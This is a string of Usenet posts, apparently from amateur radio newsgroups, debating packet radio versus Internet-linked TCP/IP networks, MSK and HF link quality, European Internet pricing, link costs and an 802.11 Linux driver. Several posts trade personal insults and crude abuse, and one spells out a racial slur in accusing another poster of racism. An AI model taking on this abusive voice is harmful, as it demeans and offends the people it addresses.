> opportunity. As long as the UHF and higher bands are made empty so
> their use by hams can be questioned... That's the main thing.

Get smart on spread spectrum now, as it will be used in the Ham bands,
and it will be used on HF, 2m, and 440, as well as microwave
frequencies. FSK will be what your grandpa used in the old days.

> And that's exactly what TAPR has accomplished under Greg's
> "leadership".

Why not run for office. You can't be a leader from the side-line,
like when your throwing peanuts at the circus, or your ex-wife.

Jim Dunnett wrote about MSK:

> You detect the phase difference? Otherwise the bps rate
> would be rather limited (?)...

The idea of MSk is that there are no sudden phase jumps
on bit transitions. The frequencies of the two tones are
such that one of the bits is one full cycle of the low tone,
while the other bit is 1.5 cycles of the high tone. With
differential encoding it doesn't matter which is which.

To keep the phase transitions smooth the transmitter then
sends either a positive or negative version of the waveform
for the current bit, so as to match the slope with the
end of the previous bit. A diagram would really help here -
see any comms book...

> via a "shortest known path" -- then if there are no acknowledgements
> resend via other routes?

That's basically what the software is doing when it scans the bands for a contact first at 10m, then 15, then 20, etc.

Sometimes in HF forwarding, the shortest path is not always the best. For example: I used to live at the southern tip of Texas, and worked a fwd network on 20m with stations in Ohio and Novia Scotia. The Ohio and Novia Scotia stations could not hear each other, but they could both hear my station in south Texas just fine. - So messages the Nova Scotia station picked up from Europe often went through my south Texas station on the way to Ohio!

With HF radio, distance is not nearly the issue that the everyday quirks of radio propagation are. I've seen lots of situations where it is easier to communicate with hams 1,500 miles away than it is with other hams only 750 miles away. It all depends on a goodly number of variables such as how clean and powerful the output from your XMITter is, to what kind of antenna you are using, the weather, and how precisely you are tuned in to the other station. If all of that is just perfect, then you still need to deal with daily changes in how the signals behave as they bounce around the planet. There are ways to predict these propagation changes, but there is no way to control them. They generally go in an 11 year cycle associated with the way our sun behaves.

Gary Coffman <ke4zv@bellsouth.net> wrote in message >

> That's what happened to the BBS "network" (which wasn't really ever a
> network in the sense of a packet switched network anyway).

That's why the BBS net works as well as it does. Your "packet switched network" cannot move a message across the country, not to mention the much bigger job of moving messages around the world, such as the BBS net does every day.

The BBS "network", in other words, accomplishes many things with amateur radio that you and your fellow LandLine Lids must turn to non-ham means to even attempt to do.

So you end up sucking hind-tit, but hey! That's part of being a LandLine Lid. - To suck.

>When it was
> the only game in town, it got a bit of use. But as soon as something
faster
> became widely available, it fell into disrepair. In other words, most of
your
> users abandoned you for the internet.

Sorry, Gary, but it appears you have managed to confuse LandLine Lid rhetoric with reality. After repeating the lie so many times, you convince yourself that it's the truth. This is because you are too stupid to examine the facts for yourself, or perhaps you lack character and just prefer the comforting lie.

Fact is: The Internet did not just appear here in the USA. It also appeared in Europe, but the BBS net there actually grew and developed while your fellow Lids were undermining it here in the US. The Internet drew off a number of packet ops there as well as here, but for THAT BBS network it was only a temporary setback that was quickly overcome. - The difference is that in Europe they were clever enough to enact legislation that protected the packet network by "hacking and cracking" by clueless jerks like you who insist that non-hams means of communication is the only possible way for ham radio operators to communicate.

Are you associated with the "little LEO" folks, by any chance? Do you have an explanation of your constant and long-standing advocacy of Hams abandoning the use of the ham bands in order to communicate as much as possible by non-ham means of communication?

Is anyone PAYING you, buy any chance, to go around attempting to convince hams that amateur radio is just not good enough?

I would not be surprised.

>You and Charles can rail about that,
> but it is fact, and ultimately one has to face facts or become permanently
> disassociated from reality.

Looks like you need to take a page from your own book there, Gary.

YOU are the one insisting that abandoning the use of radio is somehow a good thing for hams.

YOU are the one who cannot face the fact that tcpip just won't cut it for the majority of the conditions that hams using radio must work with. You have so much trouble admitting that fact that you would rather use the Internet instead of ham radio so you can PRETEND that tcpip works for hams.

That's the most severe and clear-cut case of hams disassociating themselves from reality that I have run across in my years with the hobby.

Of course that approach is much too simple... it is just like the firmware
in the old TNC's: when the CONNECT succeeds, it starts retrying the data
transmission until hell freezes over.

What you need is some link quality data on each of the available
frequencies, and a decision algorithm to decide which is the best frequency
to use. That will be a bit harder to implement, so it is probably left
for version 2.0

>
> Gee, how clever.

It's not clever. I was stating that what may be a mode that is
legal in other parts of CFR Title 47, may one day be allowed in
Part 97. But not through any effort on your part.

I commented that you and the other brother Chuckles are complaining
about interfacing anything to Ham radio. But Ham radio is to serve
the public, and not just for Hams to exchange Out of Band modifications
and running their used equipment business over a BBS.

I also commented that you had provided zero leadership in the way of
Petitions to the FCC, or in talks at Hamfests. Rather than go out
and develop your cause, you and your best friend here, are trying to
dictate what Ham radio is all about on essentially a bulletin board,
and doing zero in the way of magazine articles, or public speaking,
or petitions to the FCC.

It has nothing to do with being clever. You can't just whine on this
group for 10 pages, and then not respond to criticism with a cute
one liner. Either you are passionate about your cause, or you are
just a spammer. I think it's the latter.

Charles:

Charlie, wake up and follow the bucks $ $ $.

To understand the European (Continental) situation all you have to do is shop their Internet access rates. (OK, then just look at the prices there since , you really can't shop over there!) And, note the UK is different having deregulated like us a few years ago. Thanks Margaret Thatcher!

Like most things in Continental Europe the Internet access rates are extremely expensive (where you can get em). This is the only thing that is holding the Continental European ham packet radio netwokr together. And it is strictly because of politics, government policy, and monopolistic behaviour on the part of the PTT's and former PTTs. If Continental Europe were a more free market telecom jurisdiction, and it soon will be, it would have been curtains for ham packet radio there as well!

Essentially most residential users cannot afford the Internet in Europe. As long as that situation (which is political) persists then hams there will continue to use their radio packet networks, but as soon as the Internet access rates come down to the American or British level, then your vaunted European ham radio packet nets will collapse like ours as well.

Good old American competition keeps Internet access prices down over here. And . . . the Europeans like the Canadians are trying as rapidly as they can to catch up to the American model.

Charlie, wake up and smell the roses! It's bigger than you. Hello! ! ! Internet access is cheap, cheap, cheap! Unless held artificially high by socialistic anti-free trade government policies!

Your Type B attitude and approach will hasten the complete demise of amateur packet radio!

Stop demonizing the Type A's and try to figure out solutions that complement the Internet, not try to fight it!

Regards,

Peter

Hank:

Nope, God love him, his heart is in the right place, but Charles is mostly WRONG!

He uses the Continental European model to beat us over the head with and tells us we must make a network more like theirs.

Problem is that Charles is sadly mis-informed and passes on that mis-information about the Continental European situation. Charles is still living in the past and so are the Europeans when it comes to Telecom reform and deregulation. The only reason the Continental European hams still persist with their packet networks is because Internet access is either completely unavailable or prohibitively expensive. And . . .that will change like it did in America over the next few years as the Continentals liberalize and deregulate their telecoms.

Poor Charles, he keeps living in the past and using examples of outdated European economic situations to try to browbeat his Type A's into becoming Type B's. Well that is an invitaion to disaster for Amateur Packet Radio. It is a lemming like march into the sea of obscurity!

The brave new future for ham packet and one which the Continental Europeans will embrace when the cold water of competition gets thrown on to their little protected packet ghetto, is complementary with the Internet and tcp/ip not set against it! ! !

Face it, the old ways of trying to preserve artificially high telecom prices as the Continental Europeans are now trying to desperately hold onto, are simply an anachronism that has been economically discredited by the modern American economic commerce engine!

What we should be doing over here in Amateur Packet Radio is setting the direction for the future. Find a model for ham radio packet that complements, not tries to compete with the Internet!

Thoughts, discussion?

A minor point, but a 200Hz shift is actually the "standard" for
Pactor, although a lot of the fellows do use a 170Hz shift.

Too much bother. 1% loss is a very good link (Gary notwithstanding).

As you probably know Rob, the controllers (at least the HAL
controllers) do in fact report running link quality information:
S/N, dispersion, data rate obtained, etc. The software can make
whatever use of that information it wishes. But you do have to
establish a link to gather the information.

I would be more specific and suggest any modern comms
book dealing with cellular telephones, GSM in particular.
It's quite an eye-opener, having held a Radio Ham licence
for 29 years, I thought that I was well versed in matters of
radio technology, that is, until I worked on digital cellular
telephone development. It's certainly been a baptism of
fire these last few months! (Particularly WRT speech
encoding and error protection mechanisms)

> Internet access" as being somewhat less than human.

I suggest backing up and re-reading the original post. There was
nothing in there that suggested turning amateur radio into: citizens
band, kiddie-porn transport, or freebie Internet access. there was only
the reasonable suggestion of thinking about eliminating content
restrictions when using amateur radio as the transport.

personally, I am very much in favor of this idea. As long as you keep
in place the current restrictions on commercial activity, we should be
reasonably protected from commercial entities using the amateur bands.

I see the primary advantage of this kind of rule change is to generate
enough interest in radio based networks because there would be
something interesting to do with them (i.e. connect to the Internet).
There are also a whole bunch of social side effects when a populous
controlled service exists simultaneously with a corporately controlled
service. I suspect it would be similar to the effect the open source
movement has had on proprietary software development.

I'm perfectly willing to lay down a couple of hundred dollars for a high-speed radio link. I would gladly dedicate one of my spare systems as a (web/ftp/...) server with accounts for anybody who asked. My question is: would anybody use it and for what?

I guess this is my way of saying that packet radio is dying from a lack of interesting applications. I'll help only if I can get enough bandwidth to do something interesting (eg > 128kbits/second).

It is. When a link is that marginal that an SABM/UA or an RR(P)/RR(F)
can be exchanged, but an I frame never makes it through, the classic
TNC firmware will retry forever.

>> What you need is some link quality data on each of the available

>How would one acquire link quality data without establishing a link?

My software measures link quality by sending numbered UI frames on
the link and evaluating the ratio between received/missed frames at
the other end. This allows evaluation of link quality independently
in each direction, even when the link is completely dead in one direction.

This is used very successfully on node-node links. It has helped us debug
some very strange problems.

When you want to use it to find the best frequency to use, the situation
is more complicated because you have to ensure that the ends are on the
same frequency at the same time.

Who told you that?
Monthly access fees vary between 0 and about US$ 15/month here, depending
on what quality of service you want. Half of the country is on the
Internet.

Oh, you are talking packet. Thought we were discussing HF, where
packet is not among the useful protocols.

> This is used very successfully on node-node links. It has helped us debug
> some very strange problems.

On HF?

> When you want to use it to find the best frequency to use, the situation
> is more complicated because you have to ensure that the ends are on the
> same frequency at the same time.

Um, yes ... this IS what we were discussing: HF, Scanning radios, frequency agile links, stuff like that. Protocols of interest are CLOVER and the various PACTOR varitiations. Propagation is the point of interest. Many of the controllers are capable of determining link potential by listening on the channel. As far as I know, the ham radio software does not yet take advantage of this capability. I've written some code, but it has not yet proved useful.

Eric:

Hear, hear! So there others who believe that we would not be selling our souls if we did this. Thank God.

Hey, regarding Charles noting that I suggested deregulation only for digital UHF/uWave networks.

I really believe that to be appropriate. MF and HF is a special case in many ways.

HF is a very scarce and non-reusable long distance resource. And nowaday's not many want that spectrum anyway.

Let's petition the FCC to turn MF/HF into a preserve, something like our National Parks. i.e. The FCC set aside the MF and HF bands as International preserves and restrict further wide band or spread spectrum developments in that spectrum and let the amateur radio equivalent of hunters, fishermen, loggers, hikers, mountaineers and divers who enjoy our national parks, to keep and enjoy HF as it is. It would also be preserved for the enjoyment of future generations of CW, SSB, RTTY, xTORs, users, contesters, etc. . . I believe it has been proven that at least for the near and intermediate term this group of users is either decreasing or at most remaining constant.

Now UHF and uWaves is an entirely different kettle of fish. Everyone wants those frequencies today. Use it or lose it!

On UHF and uWaves where the frequencies can be used over and over again geographically and where we have bandwidth to burn, we petition the FCC to deregulate as much as possible. Let us be free to innovate. Don't restrict what we can carry on our digital networks as long as we are relaying the content of others. A proposal might be to allow individual amateurs and non-commercial, non-profit organizations to construct and operated radio access networks in these frequency bands. Allow these amateur radio access networks to interconnect directly to commercial networks like the Internet with no restriction other than that the amateur radio access networks cannot make a profit. Any content carried on the network to be the responsibility (both legally and ethically) of the initiator of the content. If it happens to be illegal content, then enforce against the originators, not the network and access operators!

I say deregulate as much as possible above HF, that's the only way to save amateur radio and create growth for the future. Otherwise others will take all of our UHF and uWave frequencies and we will only have the "National Parks" of HF to play in.

Thoughts, discussion, opinions?

Gary suggested about $800 (each end) for a 56k link.
I did the research this morning, and came up with the following prices:

$249 - Serial card (SCC - 85230 and RS-422)
$349 - WA4DSY RF modem.
$410 - 70 cm transverter for the above.
$85 - Back mount small yagi.
$50 - Coax
Some extra for cables, connectors, power supply.
All the above available in stock at the various suppliers.

This will get you a reasonable signal on 70 cm at 56k baud.
However the $1143 per link end is a bit more than Gary's $800,
and quite a bit more than your "couple hundred".

Now if you can build some of this stuff, or find it used, or ???
then you might hit, or beat, that $800 number.

A quick look on E-Bay did not turn up any hits, but I didn't
spend a lot of time searching.

Exactly.
One might argue that any non-commercial use of content, whether
that content is commercial or not, is already permitted. For example,
I can talk about the price I found at HRO for my new radio without
any problem. Can even tell folks they should grab their web browser
and order one themselves. Unless of course HRO is PAYING me
to say these things, in which case I can't say them.

> personally, I am very much in favor of this idea. As long as you keep

Agreed. Have run tests with n7qdn where we each accessed the other's
ISP connection over ham radio. A lot of issues about content in this
situation! See above response ...

This is already possible, and is often done. Heck, I'm doing it right
now (Surprise! I'm using ham radio tcp/ip networking to get from
this machine to another machine which has the proxy server which
connects our house network to Worldnet).

What is a packet modem? I see them for sale, but what are they really?
I thought one only need a tnc inbetween the computer (going into a
serial port) and the radio. Or is it a device to bypass the tnc, and do
all the work in software?

Rob:

Heh, heh.

I don't mean to put down a great country like the Netherlands, and I do love to visit you guys especially to enjoy the Genever, but really . . . . Even with the name change from Netherlands PTT to KPN, still . . .

Taking nothing away from the Netherlands, except size, you must realize that even KPN is a small operator, roughly the equivalent to rural telephone companies in America or one of the Canadian telephone companies. How many subscribers does KPN have? 3 M - 5 M What? How many Internet subscribers are there in the Netherlands? How many ISP's. Americal has 6 - 7 thousand ISP's. A typical American RBOC in the days of the 7 baby Bells was 20 M subscribers. AOL has 10 M subscribers, etc . . . the sizes are not comparable. The Dutch telecom market is insignificant. But. . . . the Dutch are not!

When I wrote about Continental European telecoms, for all practical purposes we were discussing, Germany (DeutcheTelekom), France (France Telekom), and Italy (Telecom Italia). Sorry but hat's where the "real" European market is! We know that there are really progressive small telecom operators in Europe, KPN being one of them. Telia being another, but . . . . really . . .. Comparables, no!

Also I belive that you missed my original point.

My point was that low Internet access prices are coming all over Europe (Not just in the Nethelands) in the next few years, and when they do. . . . just like in America, the amateur packet radio network will wither unless it takes up the "application challenge".

Thoughts, discussion?

Again, the facts do not support your claim. I have traded e-mail with roughly as many European hams as I have US hams during the last couple of years. E-mail reflectors where I hang out are very often primarily populated by European hams. -And I have looked over hundreds of European Ham-related web sites as well, while looking around for info on FlexNet, XNet, and a few other interests. There are TONS of European Ham-related web sites out there, for those who bother to take a look.

So your assertion that European hams can't get or afford Internet access, and your assertion that they would lose interest in Packet Radio if they had it are simply not supported by the facts.

I do not doubt that there are places in Europe with much higher rates than I pay here in north Texas, but it appears that the difference is not so steep or so widespread as you claim. Maybe my view is skewed a bit by the fact that most European hams I have E-mailed with were involved with FlexNet, and without exception these people were very happy with their packet network, enjoyed it regularly, and were excited by the things they were doing with it - Despite the fact that every one of these hams had Internet access.

As in the "applications mantra", this LandLine-Lid rationalization has no basis in reality. Someone told you something, then you went on to make assumptions or maybe you just did the usual thing and just parroted the "politically correct" LandLine Lid mantra with thinking about it or looking into it at all... I simply discovered the truth of this matter by communicating with European Hams via E-mail, searching through European web-sites for info and participating in international Ham-related E-mail reflectors that are primarily populated by European, not American Hams.

The amusing thing here is that I have learned most of what I know about FlexNet from -- guess who ? -- those same European hams I mentioned earlier, who had Internet access and were nonetheless vitally interested in Packet Radio.

So you'll have to shelve the "European Internet Ghetto" rationalization along with most of the other catchy mantras that you A type LandLine Lids use as a substitute for observing the world around you objectively and

thinking about what you see.

Want to "follow the money"? See how much money is spent in the US on
low-speed packet gear as opposed to high-speed stuff.
No, I'm not advocating low-speed packet... What I'm saying is that "follow
the money" does not always lead you to good information.

I have literally NEVER seen a group who regularly used and parroted verbatim
"politically correct" catch-phrases as a substitute for rational thinking
that had anything going for them. I have recently debunked several of the
primary mantras your A type "thinking" so heavily depends on, and doubt it
would be difficult to do the same with the others. I can say this with some
confidence because I have never seen anyone bother to use such hokey tactics
who had the truth behind them.
I can also confidently forecast that most if not all of you will be too
stupid to take your thinking to that next logical step that debunks most if
not all of A type "thinking", and so become as asset to the amateur radio
community instead of a pimple on it's collective butt.

> for other links.)

I never mentioned the length of the links I am proposing to
build. I only mentioned the length of some EXISTING links.
But apples and oranges in the same bag here. More than one
discussion going on.

1) I'm interested in playing with high speed RF network linking.
Just me. I can own both ends. They can be close. In the same
house perhaps. Cost is not a serious consideration. Might link
to Ted next door (a bit less than 1 km away).

2) I'm interested in replacing a few existing 9600 baud links with
faster links to improve our local network. They are moderate
distance, clear path, easy access to the sites. 1W works fine
for 9600 baud. This one is cost limited.

3) I'm interested in connecting places far apart using RF.
These are long haul links. I've done these before, at 1200 baud,
using troposcatter on 2M. Path lengths are 200 - 400 miles.
A kilowatt and four long yagis helps to make these long links
work. See for example the W5XO links that used to exist
in Texas (high power transmitters, big yagi arrays, tall towers).
Cost is not a serious consideration, at least at my end of the link.
(Consider the cost of a "good" HF station).

I may do one or more or none of the above. Just kicking around
some ideas. Might decide to build a moonbounce station instead.

See further comments below.

> The correct answer is not to just try to "bull through". The correct

Gary, you not paying attention.
More ERP equals more power spread equals longer path.

> >I guess my bottom line is that I'm not at all interested in why

> half a century. They are well proven.

You told me nothing useful. In fact, all you said was "Don't run
more than 4-10W ever under any circumstances." Well, on most
of my links I run less (1W or 2W) and use aluminium to make
up the ERP requirement. Some run more, on both ends, to make
up the needed power spread.

Also keep in mind it is not always POSSIBLE to use the perfect
path between two perfect stations. This is ham radio. We get
to play. We do not NEED 6 nines.

receiver
> can cause problems when excessive power is run.

Gary, no matter what power level is used, the reflections will be the
same ratio to the direct signal. You cannot get better S/N by reducing
the signal. The bit jitter is there no matter what you do. The key is
to reduce the beamwidth until the reflected signal is as much below
the direct signal as required. As the path length increases, it becomes
harder to do this, since the subtended angle of the reflector decreases.
In a perfect world, the required decrease in beamwidth results in
an increase in gain that just offsets the path length increase. However,
increasing transmit power buys you something very important: fade
margin increase and improvement in link reliability. If you count on
the reflections being 'below the noise floor" then you have a misdesigned
slicer, or a poor understanding of wave physics.

But I'm talking long links, over rough terrain, with many reflectors
present.

The same problems occur on very short paths. For example, I have one
link that is only one mile long. One would think this link would be
"perfect". It's not. There are several excellent reflectors along the path.
Eye pattern is all over the place. Guess I could install relay links every
1000 feet or so. Was simpler to install yagis and carefully aim them
to place the worst reflectors into nulls. So I'm using 30-40 more db
of ERP than theory requires. The link works.

I've also many trouble with 6.09 version of Logger, and
I've come back
to 6.07, that seems to be more stable.
I suppose it's a matter of compatibility with the
Windows' configuration ,
seen that a lot of people play that version.
I had a 'rx buffer full' error that made the program to
stop,
problem with the macro keys: had to click twice to
activate and the second
string went out clicking on other key and more.
In any case Logger seems to be the best and complete
program for PSK31.
I hope that Bob will fix all the bugs before going on
with new features!

> everything they stand for.

The only thing I have said that may have given you reason to make
that statement, is that I don't like BBS's, and never have. The rest
of your statement is lies.

What people like you fail to realize, is that real people make the
petitions before the FCC Commissioners, and change the rules. In most
cases the FCC will back the ARRL, and this has put us in the place
we are today, because the ARRL is a morse code organization. If TAPR
was given as much significance as the ARRL instead of being just another
petition, we would have wide bandwidth modes in the rules today.

You can't sit on the sidelines and change anything. You can't throw
peanuts at those who want to change things. If you would give
some support to an organization that promoted your issues, that would
be a very fine thing. Being a barking dog on your ISP's news group
is no skill at all.

You got that right!

I have no clue what you or Chuckles are whining about. It's been going on for years now, and I still see you calling everyone a nigger, but never telling us why wearing a white sheet and making the hobby pure is going to increase membership, or not loss spectrum.

Your attempt at being technical in light of a barrage of being a supremacist is quite the ploy.

do
> all the work in software?

In brief: the modem makes the noises to send the bits - tones,
phase shifts, whatever. The TNC handles the protocol.

At one time this was all done in dedicated hardware, because
personal computers weren't powerful enough - with all the
protocol in an external box, all you needed was a dumb terminal.
Which was all many hams had - either in fact, or that was all
their computers could do.

The first development was moving the TNC functions into the
computer software. This allows very simple modems, like the
classic TCM3105/MX614 designs for 1200 baud packet. The modem
is the interface between the computer's bit stream and AFSK
tones, with all the AX.25 functions implemented in software.

With more powerful computers you can move the whole works into
software - all the protocols are in software, and the system
uses DSP algorithms to use the soundcard as a modem.

Sloppy usage often confuses TNC with Modem - especially since
many applications now use the TNC in a raw mode (e.g. KISS),
which turns off most of the TNC protocol functions...

>cents per minute anywhere in America.

In the Netherlands, we have 2 different rates: "local" (which is a much
larger area than what you would get for "local cities", it is usually
an area about 25km in diameter), and "long distance".
Long distance costs less that what you pay, but of course the distance
is a bit less as well as we have a smaller country. OTOH, we can call
to the US for the same rate as you pay for "long distance" service.
"local" is about a dollar an hour.

>So that . . . In the USA we can dial our local Internet access provider and
>connect to the Internet at approximately 50 kbps (V.90) for 24 hours per
>day, 7 days per week for only $40 per month! $20 local phone service plus

>Let me ask you Rob. . . . In comparison to the American pricing, of $40 per
>month, in the Netherlands how much does a 24 hour by 7 day 50 kbps Internet
>connection cost?

We would not do that via a dialup connection!
I can get cable Internet, at about 90 kbps when the company does its work
well (which it doesn't always do) for $28 per month all-in (no extra
charges for connect time).
Other cities have better cable Internet systems that perform better (more
like 1500kbps) but usually cost around $40/month.

Also, in my opinion an Internet provider cannot offer what is in fact
a leased line (a dedicated modem and a dedicated line) for each customer
for $20/month including traffic. So, you are counting on the fact that
other customers are paying for your usage. That is not very popular here,
because customers like to "get what they pay for" in this country.
So, when there would be a flat rate telephone service (there *was* such

a service until the late seventies!), a lot of people would be doing what you describe, and the system would collapse because the provider would not have enough lines and modems to service everyone, and would not be getting the money to buy them. (providers are now successfully running a 10 customers/line ratio here, the cheap/free ones have an even higher ratio)

>I hope you feel that you can share this pricing with us all here, because I
>know what it costs and since I am a "Yank" I want to defer to you who are a
>citizen of the EC and a Netherlander. Tell us. . . how much?

As shown above, it looks like it will cost us less, when using cable Internet.

>I believe that this artificially high governmentaly imposed cost/price alone
>in Europe distorts the hapbits of European amateur packet radio operators.
>Of course they still favor the use of amateur radio over the Internet.

Our license precludes us from making connections between amateur radio networks and foreign networks. There has always been discussion about using the Internet as a tunnel between amateur networks, but the license does not specificially say that this is allowed as an exception.
The authorities here have a "laissez-faire" attitude (as you undoubtedly know), so there are some stations that have setup gateways even though it is not formally allowed.

Still, most of the network is operating via radio here. You see, the hobby is amateur radio. Of course there are *a lot* more people on the Internet than on amateur radio, probably there are even more amateurs on Internet than on packet radio. But that is just a different hobby.

>But for how long will they do this after the prices reach world market
>prices? I maintain that you will see the same effects that we have seen
>here in America. The ham packet activity will wither!

What do you mean with world market prices? USA market prices?

The tendency here (over the last decade or so) is for the monthly fixed rates to drop and the per-minute rates to rise. Also, the local and long-distance rates are zoning in on eachother.
10 years ago we paid more than a dollar a minute to call the US, and about 40 dollarcents an hour for local calls. Since then, local calls have become more expensive and international calls have come down dramatically. For the majority of customers this means the price has gone up, as I rarely/never call internationally.

Many services now no longer have a monthly charge, but only a usage charge. This started with pagers, then was introduced with mobile phones (many GSM users don't pay a monthly charge, most others get "free call minutes" for the equivalent of their monthly charge), now it has carried over to Internet providers as well. There are now serveral Internet providers that ask no montly payment, and get all their income from special kickback deals with the phone companies. Such an arrangement would not be possible in the USA, because there is no per-minute charge that the phone company can

partly transfer to the provider.

It might seem unattractive when you want to have a permanent connection,
but it certainly has opened up the Internet to everybody (contrary to
what others claim here). When you want to be on the Internet here,
you don't have to commit to monthly payments and you pay no more than
it would cost you to call a local FIDO BBS. Do I need to explain what
this means for BBS usage?

>We all must act now to save ham packet radio. Stop burying our heads in the
>sand like Charles Brabbam and other Type B's. It is folly and will decimate
>amateur packet radio.

>Please tell us Rob . . .

>Rob how much in the Netherlands for 24 x 7 Internet service? Please share
>that with us.

I hope you are not too disappointed now... things are not quit as you
think they are. We have several options for Internet connections, and
we can decide ourselves whether we want fixed rates or usage-based rates.

However, we have a fully automated telephone system since the early fifties
and that has not killed the radio hobby either. It is just a different
medium and a different hobby.

Cross-posted to: rec.radio.amateur.antenna,rec.radio.amateur.boatanchors,rec.radio.amateur.digital.misc

Howdy,

New content is being added this week. Check out the SWL links, the DX news, or the Propagation Center.

I've moved the QSL and Callbook section off of the main page and onto a page dedicated to just this information. And I've added a lot more to this section.

So, come on by and check out my non-commercial SWLing/Ham Radio website. The URL is http://hfradio.org and features DX information, including QSL Route/Manager Lookups and Callbook Lookups; a Propagation Center including my eAlert service (allows you to sign up with your email address. Then the eAlert system will send you email propagation reports. I use this with my pager.); Equidistant Azimuth Map software (allows you to create maps of any QTH); Swap and Shop; Bookstore (I've hand-picked over a thousand book titles on radio, etc.); Free website space for YOU to create your own Ham or SWL site, and there's more. Easy to navigate. Open for suggestions.

If you feel up to it, after looking around the site, drop me a note (you'll find my address on the site) and share your thoughts.

73!

...And since that is not practical, Gary maintains that it's "OK" to just
get on the Internet and PRETEND that that high-performance network exists.
This is much more important to Gary, as as ham, than using radio.

>
> Hank maintains that having a network that works at all is worth doing
> even if it will never achieve high performance.

...And since doing so is practical and can actually be done, Hank maintains
that it's silly to get on the Internet instead and PRETEND it is amateur
packet radio. Using radio is much more important to Hank, as a ham, than all
the juvenile telephone games ever invented.

>
> Since volunteers have limited time, each must choose between these two
> exclusive options. (Goodness knows we have enough bandwidth to support
> both.)

Especially since Gary's "system" does not use radio for anything except
local access, and uses "lets pretend on the telephone" for anything more
ambitious than that.

>
> Sounds like something for everybody. Choose and join!
>
> - Brian
>
> PS: I still haven't figured out what Charles wants.

I want a real, physical packet network that real hams can use. No pretending
on the phone. I don't have anything against high-speed or tcpip in
themselves, but on the other hand I also feel that neither one is a good
excuse to sit around and do nothing, undercut the efforts of others, or
avoid the use of Radio with other systems simply because they are NOT
high-speed or tcpip.

I feel that the node sites are more important to hams that what speed or
protocol they are being used with at any given time.

I feel that any adult who is satisfied to "pretend" they are using ham radio
on the Internet is an embarrassment and a liability to the hobby.

Maybe some people are still writing AX.25 implementations following the
official spec, that included this buggy behaviour?

>Just ask the FLEXNET folks, check out what has
>been done in Linux and the modern *NOS codes. Welcome to
>the 90's ...

I don't know how Flexnet handles retries on the AX.25 level, as I don't
live near a Flexnet node. Maybe they have implemented an overall timeout,
as I did in my version of NET.

The TCP retry timer behaviour and failure mechanism in JNOS just sucks.
I hope it has been done better in some of the 25 other versions.
I only know that it was OK in the original KA9Q version, but then some
inexperienced people started to hack it...

>> My software measures link quality by sending numbered UI frames on
>> the link and evaluating the ratio between received/missed frames at
>> the other end. This allows evaluation of link quality independently
>> in each direction, even when the link is completely dead in one direction.

>Oh, you are talking packet. Thought we were discussing HF, where
>packet is not among the useful protocols.

Such techniques are possible in most protcols. It is just measuring
the loss rate independent from any error recovery mechanisms in the
connection protocol.

[further nitpicking deleted]

start at:
http://www.proxim.com/symphony/

from http://www.proxim.com/about/pressroom/1999pr/sym_pricing.shtml

PRICING AND AVAILABILITY

Symphony is sold for an estimated retail price of $129 for the Cordless ISA Card (from $149), $149 for the Cordless PC Card (from $199), $249 for the Cordless Modem (from $299), and $399 for the Cordless Ethernet Bridge. The Cordless Ethernet Bridge is now available through Ingram Micro, Tech Data, selected retailers and mail-order catalogs, as well as the Proxim web site. The Cordless PCI Card will be available in September for an estimated retail price of $129.

802.11 neworks don't seem to be right for point to point links but seem reasonable for point to multi-point. there is some linux code for making linux be an 802.11 controler but I have no way of evaulating it at the moment. from the readme there are some interesting leads on parts...

---
* ftp://ftp.infotechsrl.it
* http://www.infotechsrl.it
* mailto://damiano@infotechsrl.it

This is the base tree for the project of an IEEE802.11 driver
You may wish to know that the iee802.11 (from now on wr11) it is a fairly complex standard that needs quite a few params to work.

The similarity with the other IEEE 802 standards are mostly in the same len of addresses and on the fact that it can be considered a CSMA-CD system (in one of its operatin modes).

(Brief tutorial on wr11 on progress)

Anyway there are few things that you may want to know.

1) wr11 has the concept of an Access Point, that is a system that allow more station to be connected to itself and is a "manager" for the stations.
2) wr11 har the concept of a station, that is a system that wants to comunicate with an Access Point (AP from now on) and

for most of the standard is on letting Stations (STA from now on)
communicate with an AP
3) wr11 has the concept of authentication and even encryption.

---------- what is in here ----------
We (infotech S.r.l) are distributing the following drivers that we wrote
starting from scratch the features are the following.

1) You can make your Linux system behave as an AP.
2) You can "watch" what is on air.
3) You can make your Linux system behave as a STA

---------- What is the hardware you need ----------
The drivers work with an AMD79C930 wireless controller. This controller
is in charge of the lower lever timings and does the timing sensitive work.
You can have a board that uses this controller from Imasde or Samsung,
or Nokia, or....
They will be very happy of selling a few of the boards.

---------- What is the target ----------
Our main goal is to have a STABLE system that can handle wireless channels
withouth giving even more money to Bill Gates.
The system should be remotely manageable (use telnet or modem to connect
to you Linux Box) and should be reliable with a rich networking
environment.
The system should also allow the use of normal machines (there is no
point to use a PPro for a router.

Beside we believe that innovation comes from small companies and thus
Linux is the only choiche for them (And Bill Gates should NOT do
dumping on its products by bundling everithing to the OS)

---------- What you need to do to ----------
All comes in source code, so you need a bit of knowledge to use this
BUT we hope to have documented things to a fair amount.

1) Get a working Linux system. This is fairly easy nowday.
2) Read the INSTALL.txt in this directory

What the files are

wir802/wiramd.c , wiramd.h
Low level functions to glue to the AMD hardware.
The functions should allow to send / received data and mgmt frames...

wir802/wirdrv.c , wirdwrv.h
Low level funxtions in charge of managing the ieee 802.11 implemetation
This is the driver part that sits on top of the hardware.

wir802/wiruti.c , wiruti.h
Functions generally used to manage all the ieee 802.11 frames....
This kind of stuff is used by the high level program
This is also used by the driver...

wir802/wirproc.c
Functions used to manage the attaching to the /proc/net of devices
so it is possible to have a cleaner piece of code :-)

wirmgr/wirmgr.c
This program is the manager for the wireless connection for BOTH
STA and AP. It is in charge of finding STA or AP and doing the standard
processing for frames.

wirmgr/wirsnoop.c
Used to see what is on air. Of course it depends if you are in
promisquos mode or not.

Damiano

Rob:

Thanks for all of that information. Good work.

Yes we too have cablemodem access in this country, as well as various xDSL offerings.

Over here in America the "going rate" for cablemodem service is $50 per month. It is advertised as megabit service, similar to Ethernet it is a shared media service. Currently there are about 1 million cable modem subscribers in the USA. A lot fewer ADSL subscribers, probably fewere than 50, 000 today. The xDSL services go all the way from 128 kbps up to the "classic ADSL" at 6 Mbps downstream. The most widespread xDSL in the USA, although it is not called that, is HDSL. There are over 700,000 HDSL lines in the USA, but they are called T1's heh, heh. The Local Exchange Carriers or LEC's do not want to sell the other new "consume" DSL's because they are market priced cheaper than the T1/HDSL that they make lots of profit on. They don't want to cannibalize their HDSL too soon. But the cable modem purveyors are putting the pressure on them.

